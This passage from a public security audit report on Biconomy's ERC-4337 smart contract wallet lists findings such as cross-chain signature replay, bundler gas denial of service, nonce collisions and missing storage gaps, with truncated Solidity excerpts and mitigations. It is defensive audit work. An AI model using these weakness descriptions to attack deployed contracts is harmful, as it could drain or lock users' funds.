    validateUserOp() (inherited from IAccount interface) MUST verify

    ...
```

```
The account should also support aggregator-specific getter (e.g.

...

If an account uses an aggregator (returns it with getAggregator(
```

This aggregator address validation is not done.

Recommended Mitigation Steps

Refactor the code that is not compliant with the EIP.

livingrockrises (Biconomy) confirmed and commented:

> We're refactoring the code with latest ERC4337 contracts (^0.4.0).

[M-03] Cross-Chain Signature Replay Attack

Submitted by gogo*, also found by* V_B *and* taek

User operations can be replayed on smart accounts accross different chains. This can lead to user's losing funds or any unexpected behaviour that transaction replay attacks usually lead to.

Proof of Concept

As specified by the EIP4337 standard `to prevent replay attacks ... the signature should depend on chainid`. In VerifyingSingletonPaymaster.sol#getHash the chainId is missing which means that the same UserOperation can be replayed on a different chain for the same smart contract account if the `verifyingSigner` is the same (and most likely this will be the case).

Recommended Mitigation Steps

Add the chainId in the calculation of the UserOperation hash in VerifyingSingletonPaymaster.sol#getHash

```
    function getHash(UserOperation calldata userOp)
    public view returns (bytes32) { // @audit change to view
        //can't use userOp.hash(), since it contains also the pa
        return keccak256(abi.encode(
                userOp.getSender(),
                userOp.nonce,
                keccak256(userOp.initCode),
                keccak256(userOp.callData),
                userOp.callGasLimit,
                userOp.verificationGasLimit,
                userOp.preVerificationGas,
                userOp.maxFeePerGas,
                userOp.maxPriorityFeePerGas
                block.chainid // @audit add chain id
            ));
    }
```

livingrockrises (Biconomy) confirmed

gzeon (judge) decreased severity to Medium

vlad_bochok (warden) commented:

> @gzeon @livingrockrises
>
> User operations can be replayed on smart accounts accross different chains
>
> The author refers that the operation may be replayed on a different chain. That is not true. The “getHash” function derives the hash of UserOp specifically for the paymaster’s internal usage. While the paymaster doesn’t sign the chainId, the UserOp may not be relayed on a different chain. So, the only paymaster may get hurt. In all other respects, the bug is valid.
>
> The real use case of this cross-chan replayability is described in issue #504 (which, I believe, was mistakenly downgraded).

livingrockrises (Biconomy) commented:

> True. Besides chainId , address(this) should be hashed and contract must maintain it’s own nonces per wallet otherwise wallet can replay the signature and use

> paymaster to sponsor! We're also planning to hash paymasterId as add-on on top of our off-chain validation for it.

> I have't seen an issue which covers all above. Either cross chain replay or suggested paymaster nonce.

[M-04] Methods used by EntryPoint has `onlyOwner` modifier

Submitted by immeas, *also found by* Kutu, 0xDave, betweenETHlines, hansfriese, wait, peanuts, hihen, prc, 0xbepresent, *and* HE1M

contracts/smart-contract-wallet/SmartAccount.sol#L460-L461
contracts/smart-contract-wallet/SmartAccount.sol#L465-L466

`execute` and `executeBatch` in `SmartAccount.sol` can only be called by owner, not EntryPoint:

```
File: SmartAccount.sol

460:     function execute(address dest, uint value, bytes calldat
461:         _requireFromEntryPointOrOwner();
462:         _call(dest, value, func);
463:     }
464:
465:     function executeBatch(address[] calldata dest, bytes[] c
466:         _requireFromEntryPointOrOwner();
467:         require(dest.length == func.length, "wrong array ler
468:         for (uint i = 0; i < dest.length;) {
469:             _call(dest[i], 0, func[i]);
470:             unchecked {
471:                 ++i;
472:             }
473:         }
474:     }
```

From EIP-4337:

- **Call the account with the `UserOperation`'s calldata.** It's up to the account to choose how to parse the calldata; an expected workflow is for the account to

have an execute function that parses the remaining calldata as a series of one or more calls that the account should make.

Impact

This breaks the interaction with EntryPoint.

Proof of Concept

The reference implementation has both these functions without any onlyOwner modifiers:

https://github.com/eth-infinitism/account-abstraction/blob/develop/contracts/samples/SimpleAccount.sol#L56-L73

```
56:     /**
57:      * execute a transaction (called directly from owner, not
58:      */
59:     function execute(address dest, uint256 value, bytes calld
60:         _requireFromEntryPointOrOwner();
61:         _call(dest, value, func);
62:     }
63:
64:     /**
65:      * execute a sequence of transaction
66:      */
67:     function executeBatch(address[] calldata dest, bytes[] ca
68:         _requireFromEntryPointOrOwner();
69:         require(dest.length == func.length, "wrong array leng
70:         for (uint256 i = 0; i < dest.length; i++) {
71:             _call(dest[i], 0, func[i]);
72:         }
73:     }
```

Tools Used

vscode

Recommended Mitigation Steps

Remove `onlyOwner` modifier from `execute` and `executeBatch`.

livingrockrises (Biconomy) confirmed

[M-05] DoS of user operations and loss of user transaction fee due to insufficient gas value submission by malicious bundler

Submitted by peakbolt*, also found by* V_B*,* zaskoh*, and* csanuragjain

contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol#L68-L86
contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol#L168-L190

An attacker (e.g. a malicious bundler) could submit a bundle of high gas usage user operations with insufficient gas value, causing the bundle to fail even when the users calculated the gas limits correctly. This will result in a DoS for the user and the user/paymaster still have to pay for the execution, potentially draining their funds. This attack is possible as user operations are included by bundlers from the UserOperation mempool into the Ethereum block (see post on ERC-4337 https://medium.com/infinitism/erc-4337-account-abstraction-without-ethereum-protocol-changes-d75c9d94dc4a).

Reference for this issue: https://github.com/eth-infinitism/account-abstraction/commit/4fef857019dc2efbc415ac9fc549b222b07131ef

Proof of Concept

In innerHandleOp(), a call was made to handle the operation with the specified mUserOp.callGasLimit. However, a malicious bundler could call the innerHandleOp() via handleOps() with a gas value that is insufficient for the transactions, resulting in the call to fail.

The remaining gas amount (e.g. gasLeft()) at this point was not verified to ensure that it is more than enough to fulfill the specified mUserOp.callGasLimit for the user operation. Even though the operation failed, the user/payment will still pay for the transactions due to the post operation logic.

contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol#L176

```
(bool success,bytes memory result) = address(mUserOp.sender).cal
```

Recommended Mitigation Steps

Update the Account Abstraction implementation to the latest version. This will update the innerHandleOp() to verify that remaining gas is more than sufficient to cover the specified mUserOp.callGasLimit and mUserOp.verificationGasLimit.

Reference: https://github.com/eth-infinitism/account-abstraction/commit/4fef857019dc2efbc415ac9fc549b222b07131ef

livingrockrises (Biconomy) disagreed with severity and commented:

> If bundle fails, bundler has no incentive.
> Lacks proof for draining funds.

livingrockrises (Biconomy) confirmed and commented:

> Lack of proof.

> "Update the Account Abstraction implementation to the latest version. This will update the innerHandleOp() to verify that remaining gas is more than sufficient to cover the specified mUserOp.callGasLimit and mUserOp.verificationGasLimit." Will be doing this.

gzeon (judge) decreased severity to Medium

[M-06] Doesn't Follow ERC1271 Standard

Submitted by Atarpara, *also found by* gz627 *and* zapaz

As Per EIP-1271 standard `ERC1271_MAGIC_VAULE` should be `0x1626ba7e` instead of `0x20c13b0b` and function name should be `isValidSignature(bytes32,bytes)` instead of `isValidSignature(bytes,bytes)` . Due to this, signature verifier contract go fallback function and return unexpected value and never return `ERC1271_MAGIC_VALUE` and always revert `execTransaction` function.

Proof of Concept

contracts/smart-contract-wallet/interfaces/ISignatureValidator.sol#L6
contracts/smart-contract-wallet/interfaces/ISignatureValidator.sol#L19
contracts/smart-contract-wallet/SmartAccount.sol#L342

Recommended Mitigation Steps

Follow EIP-1271 standard.

livingrockrises (Biconomy) confirmed

gzeon (judge) commented:

> Selected as best as this issue also mentions the wrong function signature.

[M-07] `SmartAccount.sol` is intended to be upgradable but inherits from contracts that contain storage and no gaps

Submitted by 0x52, *also found by* IIIIIII, Diana, cryptostellar5, oyc_109, 0xSmartContract, SleepingBugs, adriro, Deivitto, V_B, betweenETHlines, peanuts, Koolex, *and* Rolezn

contracts/smart-contract-wallet/base/ModuleManager.sol#L18

SmartAccount.sol inherits from contracts that are not stateless and don't contain storage gaps which can be dangerous when upgrading.

Proof of Concept

When creating upgradable contracts that inherit from other contracts is important that there are storage gap in case storage variable are added to inherited contracts. If an inherited contract is a stateless contract (i.e. it doesn't have any storage) then it is acceptable to omit a storage gap, since these function similar to libraries and aren't intended to add any storage. The issue is that SmartAccount.sol inherits from contracts that contain storage that don't contain any gaps such as ModuleManager.sol. These contracts can pose a significant risk when updating a contract because they can shift the storage slots of all inherited contracts.

Recommended Mitigation Steps

Add storage gaps to all inherited contracts that contain storage variables.

livingrockrises (Biconomy) commented:

> Regarding storage gaps I want to bring this up.
>
> SmartAccount first storage is Singleton(first inherited contract)
> that says
> `// singleton slot always needs to be first declared variable, to ensure that it is at the same location as in the Proxy contract.`
>
> "In case of an upgrade, adding new storage variables to the inherited contracts will collapse the storage layout." Is this still valid?

livingrockrises (Biconomy) acknowledged

livingrockrises (Biconomy) commented:

> Would like to hear judge's views on fixing this and upgradeability as a whole.

gzeon (judge) commented:

> Would like to hear judge's views on fixing this and upgradeability as a whole.
>
> Immediately actionable items would be to use the upgradable variant of OZ contract when available; ModuleManager should also be modified to include a storage gap.
>
> Since the proxy implementation is upgradable by the owner (which can be anyone aka not a dev), it would be nice to implement UUPS like safe-rail (as mentioned in `#352`) to prevent the user upgrading to a broken implementation irreversibly.
>
> Will also add that lack of storage gap is not typically a Med issue, but considering this contract has a mix of storage gapped and non-storage gapped base contract, and a risky upgrade mechanism, it is considered as Med risk in this contest.

[M-08] Transaction can fail due to batchId collision

Submitted by 0xdeadbeef0x, *also found by* romand

The protocol supports 2D nonces through a `batchId` mechanism.
Due to different ways to execute transaction on the wallet there could be a collision between `batchIds` being used.

This can result in unexpected failing of transactions

Proof of Concept

There are two main ways to execute transaction from the smart wallet

1. Via EntryPoint - calls `execFromEntryPoint` / `execute`
2. Via `execTransaction`

`SmartAccount` has locked the `batchId` #0 to be used by the `EntryPoint`.
When an `EntryPoint` calls `validateUserOp` before execution, the hardcoded nonce of `batchId` #0 will be incremented and validated, contracts/smart-contract-wallet/SmartAccount.sol#L501

```
        // @notice Nonce space is locked to 0 for AA transactions
        // userOp could have batchId as well
        function _validateAndUpdateNonce(UserOperation calldata user
            require(nonces[0]++ == userOp.nonce, "account: invalid r
        }
```

Calls to `execTransaction` are more immediate and are likely to be executed before a `UserOp` through `EntryPoint`.
There is no limitation in `execTransaction` to use `batchId` #0 although it should be called only by `EntryPoint`.

If there is a call to `execTransaction` with `batchId` set to `0`. It will increment the nonce and `EntryPoint` transactions will revert. contracts/smart-contract-wallet/SmartAccount.sol#L216

```
        function execTransaction(
            Transaction memory _tx,
            uint256 batchId,
            FeeRefund memory refundInfo,
            bytes memory signatures
        ) public payable virtual override returns (bool success) {
-------
                nonces[batchId]++;
-------
            }
        }
```

Tools Used

VS Code

Recommended Mitigation Steps

Add a requirement that `batchId` is not `0` in `execTransaction`:

```
require(batchId != 0, "batchId 0 is used only by EntryPoint")
```

livingrockrises (Biconomy) confirmed

Low Risk and Non-Critical Issues

For this contest, 46 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **0xSmartContract** received the top score from the judge.

The following wardens also submitted reports: adriro, giovannidisiena, lukris02, juancito, pauliax, 0x1f8b, joestakey, betweenETHlines, Udsen, Kalzak, Josiah, Viktor_Cortess, peanuts, gz627, IIIIIII, cryptostellar5, Lirios, Diana, Atarpara, horsefacts, ast3ros, MyFDsYours, 0xAgro, 2997ms, SaharDevep, Rolezn, zaskoh, hl_, sorrynotsorry, MalfurionWhitehat, 0xdeadbeef0x, chrisdior4, ladboy233, chaduke, prady, Bnke0x0, btk, oyc_109, csanuragjain, nadin, Sathish9098, HE1M, Raiders, RaymondFam, *and* 0xhacksmithh.

Summary

Low Risk Issues List

Number	Issues Details	Context
[L-01]	Prevent division by 0	1
[L-02]	Use of EIP 4337, which is likely to change, not recommended for general use or application	1
[L-03]	Consider using OpenZeppelin's SafeCast library to prevent unexpected overflows when casting from uint256	1
[L-04]	Gas griefing/theft is possible on unsafe external call	8
[L-05]	Front running attacks by the `onlyOwner`	1
[L-06]	A single point of failure	14
[L-07]	Loss of precision due to rounding	1
[L-08]	No Storage Gap for `BaseSmartAccount` and `ModuleManager`	2
[L-09]	Missing Event for critical parameters init and change	1
[L-10]	Use `2StepSetOwner` instead of `setOwner`	1
[L-11]	init() function can be called by anybody	1
[L-12]	The minimum transaction value of 21,000 gas may change in the future	1

Total 12 issues

Non-Critical Issues List

Number	Issues Details	Context
[N-01]	Insufficient coverage	1
[N-02]	Unused function parameter and local variable	2
[N-03]	Initial value check is missing in Set Functions	3
[N-04]	NatSpec comments should be increased in contracts	All Contracts

Number	Issues Details	Context
[N-05]	`Function writing` that does not comply with the `Solidity Style Guide`	All Contracts
[N-06]	Add a timelock to critical functions	1
[N-07]	For modern and more readable code; update import usages	116
[N-08]	Include return parameters in NatSpec comments	All Contracts
[N-09]	Long lines are not suitable for the ‘Solidity Style Guide’	9
[N-10]	Need Fuzzing test	23
[N-11]	Test environment comments and codes should not be in the main version	1
[N-12]	Use of bytes.concat() instead of abi.encodePacked()	5
[N-13]	For functions, follow Solidity standard naming conventions (internal function style rule)	13
[N-14]	Omissions in Events	1
[N-15]	Open TODOs	1
[N-16]	Mark visibility of init(...) functions as `external`	1
[N-17]	Use underscores for number literals	2
[N-18]	`Empty blocks` should be *removed* or *Emit* something	2
[N-19]	Use `require` instead of `assert`	2
[N-20]	Implement some type of version counter that will be incremented automatically for contract upgrades	1
[N-21]	Tokens accidentally sent to the contract cannot be recovered	1
[N-22]	Use a single file for all system-wide constants	10
[N-23]	Assembly Codes Specific — Should Have Comments	72

Total 23 issues

Suggestions

Number	Suggestion Details	
[S-01]	Project Upgrade and Stop Scenario should be	
[S-02]	Use descriptive names for Contracts and Libraries	

Total 2 suggestions

[L-01] Prevent division by 0

On several locations in the code precautions are not being taken for not dividing by 0, this will revert the code.
These functions can be called with 0 value in the input, this value is not checked for being bigger than 0, that means in some scenarios this can potentially trigger a division by zero.

SmartAccount.sol#L247-L295

```
2 results - 1 file

contracts/smart-contract-wallet/SmartAccount.sol:
  264:             payment = (gasUsed + baseGas) * (gasPrice) /
  288:             payment = (gasUsed + baseGas) * (gasPrice) /



contracts/smart-contract-wallet/SmartAccount.sol:
  246
  247:     function handlePayment(
  248:         uint256 gasUsed,
  249:         uint256 baseGas,
  250:         uint256 gasPrice,
  251:         uint256 tokenGasPriceFactor,
  252:         address gasToken,
  253:         address payable refundReceiver
  254:     ) private nonReentrant returns (uint256 payment) {
  255:         // uint256 startGas = gasleft();
  256:         // solhint-disable-next-line avoid-tx-origin
  257:         address payable receiver = refundReceiver == addr
  258:         if (gasToken == address(0)) {
  259:             // For ETH we will only adjust the gas price
  260:             payment = (gasUsed + baseGas) * (gasPrice < t
```

```
261:             (bool success,) = receiver.call{value: paymer
262:             require(success, "BSA011");
263:         } else {
264:             payment = (gasUsed + baseGas) * (gasPrice) /
265:             require(transferToken(gasToken, receiver, pay
266:         }
267:         // uint256 requiredGas = startGas - gasleft();
268:         //console.log("hp %s", requiredGas);
269:     }
270:
271:     function handlePaymentRevert(
272:         uint256 gasUsed,
273:         uint256 baseGas,
274:         uint256 gasPrice,
275:         uint256 tokenGasPriceFactor,
276:         address gasToken,
277:         address payable refundReceiver
278:     ) external returns (uint256 payment) {
279:         uint256 startGas = gasleft();
280:         // solhint-disable-next-line avoid-tx-origin
281:         address payable receiver = refundReceiver == addr
282:         if (gasToken == address(0)) {
283:             // For ETH we will only adjust the gas price
284:             payment = (gasUsed + baseGas) * (gasPrice < t
285:             (bool success,) = receiver.call{value: paymer
286:             require(success, "BSA011");
287:         } else {
288:             payment = (gasUsed + baseGas) * (gasPrice) /
289:             require(transferToken(gasToken, receiver, pay
290:         }
291:         uint256 requiredGas = startGas - gasleft();
292:         //console.log("hpr %s", requiredGas);
293:         // Convert response to string and return via erro
294:         revert(string(abi.encodePacked(requiredGas)));
295:     }
```

[L-02] Use of EIP 4337, which is likely to change, not recommended for general use or application

contracts/smart-contract-wallet/SmartAccountFactory.sol:

```
28        * @param _owner EOA signatory of the wallet
29:       * @param _entryPoint AA 4337 entry point address
30        * @param _handler fallback handler address
```

```
49        * @param _owner EOA signatory of the wallet
50:       * @param _entryPoint AA 4337 entry point address
51        * @param _handler fallback handler address

contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol:
1   /**
2:   ** Account-Abstraction (EIP-4337) singleton EntryPoint imp
3    ** Only one instance required on each chain.

contracts/smart-contract-wallet/aa-4337/interfaces/IEntryPoint.s
1   /**
2:   ** Account-Abstraction (EIP-4337) singleton EntryPoint imp
3    ** Only one instance required on each chain.

contracts/smart-contract-wallet/aa-4337/samples/DepositPaymaster
21    * paymasterAndData holds the paymaster address followed b
22:   * @notice This paymaster will be rejected by the standard
23    * (the standard rules ban accessing data of an external c
```

An account abstraction proposal which completely avoids the need for consensus-layer protocol changes.

However, this EIP has not been finalized yet, there is a warning situation that is not of general use.

If it is desired to be used, it is recommended to perform high-level security controls such as Formal Verification.

https://eips.ethereum.org/EIPS/eip-4337

[L-03] Consider using OpenZeppelin's SafeCast library to prevent unexpected overflows when casting from uint256

```
contracts/smart-contract-wallet/aa-4337/core/StakeManager.sol:
114        */
115:      function withdrawTo(address payable withdrawAddress,
116:          DepositInfo storage info = deposits[msg.sender];
117:          require(withdrawAmount <= info.deposit, "Withdraw
118:          info.deposit = uint112(info.deposit - withdrawAmo
```

```
119:          emit Withdrawn(msg.sender, withdrawAddress, withc
120:          (bool success,) = withdrawAddress.call{value : wi
121:          require(success, "failed to withdraw");
122:      }
123   }
```

In the StakeManager contract, the `withdrawTo` function takes an argument `withdrawAmount` of type uint256.

Now, in the function, the value of `withdrawAmount` is downcasted to uint112.

Recommended Mitigation Steps:

Consider using OpenZeppelin's SafeCast library to prevent unexpected overflows when casting from uint256.

[L-04] Gas griefing/theft is possible on unsafe external call

`return` data `(bool success,)` has to be stored due to EVM architecture, if in a usage like below, 'out' and 'outsize' values are given (0,0) . Thus, this storage disappears and may come from external contracts a possible Gas griefing/theft problem is avoided

https://twitter.com/pashovkrum/status/1607024043718316032?t=xs30iD6ORWtE2bTTYsCFIQ&s=19

There are 8 instances of the topic.

```
contracts\smart-contract-wallet\SmartAccount.sol#1451
  449     function transfer(address payable dest, uint amount) e
- 451:        (bool success,) = dest.call{value:amount}("");
+             assembly {
+                 success := call(gas(), dest, amount, 0, 0)
+             }
+
  452             require(success,"transfer failed");
  453         }
  454
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L451

```
contracts\smart-contract-wallet\SmartAccount.sol:
247     function handlePayment(
261:        (bool success,) = receiver.call{value: payment}("");
262         require(success, "BSA011");
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L261

```
 271     function handlePaymentRevert(
 285:            (bool success,) = receiver.call{value: paymer
 286             require(success, "BSA011");
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L285

```
contracts\smart-contract-wallet\SmartAccount.sol:
  525     function addDeposit() public payable {
  526
  527:        (bool req,) = address(entryPoint()).call{value :
  528         require(req);
  529     }
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L527

```
contracts\smart-contract-wallet\aa-4337\core\EntryPoint.sol:
  35     function _compensate(address payable beneficiary, uint2
  36         require(beneficiary != address(0), "AA90 invalid be
  37:        (bool success,) = beneficiary.call{value : amount}
  38         require(success, "AA91 failed send to beneficiary")
  39     }
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol#L37

```
contracts\smart-contract-wallet\aa-4337\core\StakeManager.sol:
   96     function withdrawStake(address payable withdrawAddress
  106:          (bool success,) = withdrawAddress.call{value : st
  107         require(success, "failed to withdraw stake");
  108     }
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/aa-4337/core/StakeManager.sol#L106

```
contracts\smart-contract-wallet\aa-4337\core\StakeManager.sol:
  115     function withdrawTo(address payable withdrawAddress, u
  120:          (bool success,) = withdrawAddress.call{value : wi
  121         require(success, "failed to withdraw");
  122     }
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/aa-4337/core/StakeManager.sol#L120

```
contracts/smart-contract-wallet/BaseSmartAccount.sol:
  106     function _payPrefund(uint256 missingAccountFunds) inte
  108:           (bool success,) = payable(msg.sender).call{va
  109           (success);
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/BaseSmartAccount.sol#L108

[L-05] Front running attacks by the `onlyOwner`

`verifyingSigner` value is not a constant value and can be changed with `setSigner` function, before a function using `verifyingSigner` state variable value in the project, `setSigner` function can be triggered by `onlyOwner` and operations can be blocked

```
contracts/smart-contract-wallet/paymasters/verifying/singleton/V
  64      */
  65:     function setSigner( address _newVerifyingSigner) exter
  66:         require(_newVerifyingSigner != address(0), "Verify
  67:         verifyingSigner = _newVerifyingSigner;
  68:     }
```

Recommended Mitigation Steps

Use a timelock to avoid instant changes of the parameters.

[L-06] A single point of failure

Impact

The `onlyOwner` role has a single point of failure and `onlyOwner` can use critical a few functions.

Even if protocol admins/developers are not malicious there is still a chance for Owner keys to be stolen. In such a case, the attacker can cause serious damage to the project due to important functions. In such a case, users who have invested in project will suffer high financial losses.

`onlyOwner` functions;

```
14 results - 3 files

contracts/smart-contract-wallet/SmartAccount.sol:
   72:     // onlyOwner
   76:     modifier onlyOwner {
   81:     // onlyOwner OR self
  449:     function transfer(address payable dest, uint amount)
  455:     function pullTokens(address token, address dest, uint
  460:     function execute(address dest, uint value, bytes call
  465:     function executeBatch(address[] calldata dest, bytes[
  536:     function withdrawDepositTo(address payable withdrawAc

contracts/smart-contract-wallet/paymasters/BasePaymaster.sol:
  24:     function setEntryPoint(IEntryPoint _entryPoint) public
  67:     function withdrawTo(address payable withdrawAddress, u
```

```
  75:     function addStake(uint32 unstakeDelaySec) external pay
  90:     function unlockStake() external onlyOwner {
  99:     function withdrawStake(address payable withdrawAddress

contracts/smart-contract-wallet/paymasters/verifying/singleton/V
  65:     function setSigner( address _newVerifyingSigner) exter
```

This increases the risk of `A single point of failure`

Recommended Mitigation Steps

Add a time lock to critical functions. Admin-only functions that change critical parameters should emit events and have timelocks.

Events allow capturing the changed parameters so that off-chain tools/interfaces can register such changes with timelocks that allow users to evaluate them and consider if they would like to engage/exit based on how they perceive the changes as affecting the trustworthiness of the protocol or profitability of the implemented financial services.

Also detail them in documentation and NatSpec comments.

[L-07] Loss of precision due to rounding

Add scalars so roundings are negligible.

```
2 results - 1 file

contracts/smart-contract-wallet/SmartAccount.sol:
  264:             payment = (gasUsed + baseGas) * (gasPrice) /
  288:             payment = (gasUsed + baseGas) * (gasPrice) /
```

[L-08] No Storage Gap for `BaseSmartAccount` and `ModuleManager`

[BaseSmartAccount.sol#L33](#)
[ModuleManager.sol#L9](#)

Impact

For upgradeable contracts, inheriting contracts may introduce new variables. In order to be able to add new variables to the upgradeable contract without causing storage collisions, a storage gap should be added to the upgradeable contract.

If no storage gap is added, when the upgradable contract introduces new variables, it may override the variables in the inheriting contract.

Storage gaps are a convention for reserving storage slots in a base contract, allowing future versions of that contract to use up those slots without affecting the storage layout of child contracts.
To create a storage gap, declare a fixed-size array in the base contract with an initial number of slots.
This can be an array of uint256 so that each element reserves a 32 byte slot. Use the naming convention `__gap` so that OpenZeppelin Upgrades will recognize the gap:

Classification for a similar problem:
https://code4rena.com/reports/2022-05-alchemix/#m-05-no-storage-gap-for-upgradeable-contract-might-lead-to-storage-slot-collision

```
contract Base {
    uint256 base1;
    uint256[49] __gap;
}

contract Child is Base {
    uint256 child;
}
```

Openzeppelin Storage Gaps notification:

```
Storage Gaps
This makes the storage layouts incompatible, as explained in Wri
The size of the __gap array is calculated so that the amount of
always adds up to the same number (in this case 50 storage slots
```

Recommended Mitigation Steps

Consider adding a storage gap at the end of the upgradeable abstract contract

```
    uint256[50] private __gap;
```

[L-09] Missing Event for critical parameters init and change

Context

```
     function init(address _owner, address _entryPointAddress, addre
            require(owner == address(0), "Already initialized");
            require(address(_entryPoint) == address(0), "Already ini
            require(_owner != address(0),"Invalid owner");
            require(_entryPointAddress != address(0), "Invalid Entry
            require(_handler != address(0), "Invalid Entrypoint");
            owner = _owner;
            _entryPoint =  IEntryPoint(payable(_entryPointAddress));
            if (_handler != address(0)) internalSetFallbackHandler(_
            setupModules(address(0), bytes(""));
        }
```

Description

Events help non-contract tools to track changes, and events prevent users from being surprised by changes.

Recommendation

Add Event-Emit

[L-10] Use `2StepSetOwner` instead of `setOwner`

```
    1 result - 1 file

    contracts/smart-contract-wallet/SmartAccount.sol:
      109:     function setOwner(address _newOwner) external mixedAu
      110:         require(_newOwner != address(0), "Smart Account::
      111:         address oldOwner = owner;
```

```
112:         owner = _newOwner;
113:         emit EOAChanged(address(this), oldOwner, _newOwne
114:     }
```

Use a 2 structure which is safer.

[L-11] init() function can be called by anybody

`init()` function can be called anybody when the contract is not initialized.

More importantly, if someone else runs this function, they will have full authority because of the `owner` state variable.

Here is a definition of `init()` function.

```
contracts/smart-contract-wallet/SmartAccount.sol:
  166:     function init(address _owner, address _entryPointAddr
  167:         require(owner == address(0), "Already initialized
  168:         require(address(_entryPoint) == address(0), "Alre
  169:         require(_owner != address(0),"Invalid owner");
  170:         require(_entryPointAddress != address(0), "Invali
  171:         require(_handler != address(0), "Invalid Entrypoi
  172:         owner = _owner;
  173:         _entryPoint =  IEntryPoint(payable(_entryPointAdd
  174:         if (_handler != address(0)) internalSetFallbackHa
  175:         setupModules(address(0), bytes(""));
  176:     }
```

Recommended Mitigation Steps

Add a control that makes `init()` only call the Deployer Contract or EOA;

```
if (msg.sender != DEPLOYER_ADDRESS) {
            revert NotDeployer();
        }
```

[L-12] The minimum transaction value of 21,000 gas may change in the future

Any transaction has a 'base fee' of 21,000 gas in order to cover the cost of an elliptic curve operation that recovers the sender address from the signature, as well as the disk space of storing the transaction, according to the Ethereum White Paper.

```
contracts/smart-contract-wallet/SmartAccount.sol:
  192:     function execTransaction(
  193:         Transaction memory _tx,
  194:         uint256 batchId,
  195:         FeeRefund memory refundInfo,
  196:         bytes memory signatures
  197:     ) public payable virtual override returns (bool succe
  198:         // initial gas = 21k + non_zero_bytes * 16 + zerc
  199:         //             ~= 21k + calldata.length * [1/3 * 1
  200:         uint256 startGas = gasleft() + 21000 + msg.data.l
  201:         //console.log("init %s", 21000 + msg.data.length
  202:         bytes32 txHash;
  203:         // Use scope here to limit variable lifetime and
  204:         {
  205:             bytes memory txHashData =
  206:                 encodeTransactionData(
  207:                     // Transaction info
  208:                     _tx,
  209:                     // Payment info
  210:                     refundInfo,
  211:                     // Signature info
  212:                     nonces[batchId]
  213:                 );
  214:             // Increase nonce and execute transaction.
  215:             // Default space aka batchId is 0
  216:             nonces[batchId]++;
  217:             txHash = keccak256(txHashData);
  218:             checkSignatures(txHash, txHashData, signature
  219:         }
```

https://ethereum-magicians.org/t/some-medium-term-dust-cleanup-ideas/6287

Why do txs cost 21000 gas?
To understand how special-purpose cheap withdrawals could be done, it helps first

to understand what goes into the 21000 gas in a tx. The cost of processing a tx includes:

- Two account writes (a balance-editing CALL normally costs 9000 gas)
- A signature verification (compare: the ECDSA precompile costs 3000 gas)
- The transaction data (~100 bytes, so 1600 gas, though originally it cost 6800)
- Some more gas was tacked on to account for transaction-specific overhead, bringing the total to 21000.

protocol_params.go#L31

The minimum transaction value of 21,000 gas may change in the future, so it is recommended to make this value updatable.

Recommended Mitigation Steps

Add this code;

```
uint256 txcost = 21_000;

 function changeTxCost(uint256 _amount) public onlyOwner {
        txcost = _amount;
    }
```

[N-01] Insufficient coverage

Description

The test coverage rate of the project is 76%. Testing all functions is best practice in terms of security criteria.

```
-------------------------------------------------------|--------
File                                                   |  % Stmt
-------------------------------------------------------|--------
 smart-contract-wallet/                                |     35.
  BaseSmartAccount.sol                                 |
  Proxy.sol                                            |      10
  SmartAccount.sol                                     |    63.9
```

```
 SmartAccountFactory.sol                                  |    81.8
smart-contract-wallet/aa-4337/core/                       |    98.4
 EntryPoint.sol                                           |      10
 SenderCreator.sol                                        |      10
 StakeManager.sol                                         |      10
smart-contract-wallet/aa-4337/interfaces/                 |       8
 UserOperation.sol                                        |       8
smart-contract-wallet/base/                               |       2
 Executor.sol                                             |       7
 FallbackManager.sol                                      |       2
 ModuleManager.sol                                        |    11.7
smart-contract-wallet/common/                             |       2
 Enum.sol                                                 |      10
 SecuredTokenTransfer.sol                                 |      10
 SignatureDecoder.sol                                     |      10
 Singleton.sol                                            |
smart-contract-wallet/interfaces/                         |      10
 ERC1155TokenReceiver.sol                                 |      10
 ERC721TokenReceiver.sol                                  |      10
 ERC777TokensRecipient.sol                                |      10
 IERC1271Wallet.sol                                       |      10
 IERC165.sol                                              |      10
 ISignatureValidator.sol                                  |      10
smart-contract-wallet/libs/                               |     1.4
 LibAddress.sol                                           |
 Math.sol                                                 |
 MultiSend.sol                                            |      10
 MultiSendCallOnly.sol                                    |      10
smart-contract-wallet/paymasters/                         |    23.5
 BasePaymaster.sol                                        |     9.0
 PaymasterHelpers.sol                                     |       5
smart-contract-wallet/paymasters/verifying/singleton/     |       4
 VerifyingSingletonPaymaster.sol                          |       4
----------------------------------------------------------|--------
```

Due to its capacity, test coverage is expected to be 100%.

[N-02] Unused function parameter and local variable

```
Warning: Unused function parameter. Remove or comment out the va
  --> contracts/smart-contract-wallet/paymasters/PaymasterHelper
   |
25 |         UserOperation calldata op,
```

```
Warning: Unused local variable.
  --> contracts/smart-contract-wallet/utils/GasEstimatorSmartAcc
   |
20 |     address _wallet = SmartAccountFactory(_factory).deploy(
```

[N-03] Initial value check is missing in Set Functions

Context

```
3 results - 3 files

contracts/smart-contract-wallet/SmartAccount.sol:
  109:     function setOwner(address _newOwner) external mixedAu

contracts/smart-contract-wallet/base/ModuleManager.sol:
  20:     function setupModules(address to, bytes memory data) i

contracts/smart-contract-wallet/paymasters/verifying/singleton/V
  65:     function setSigner( address _newVerifyingSigner) exter
```

Checking whether the current value and the new value are the same should be added.

[N-04] NatSpec comments should be increased in contracts

Context

All Contracts

Description:

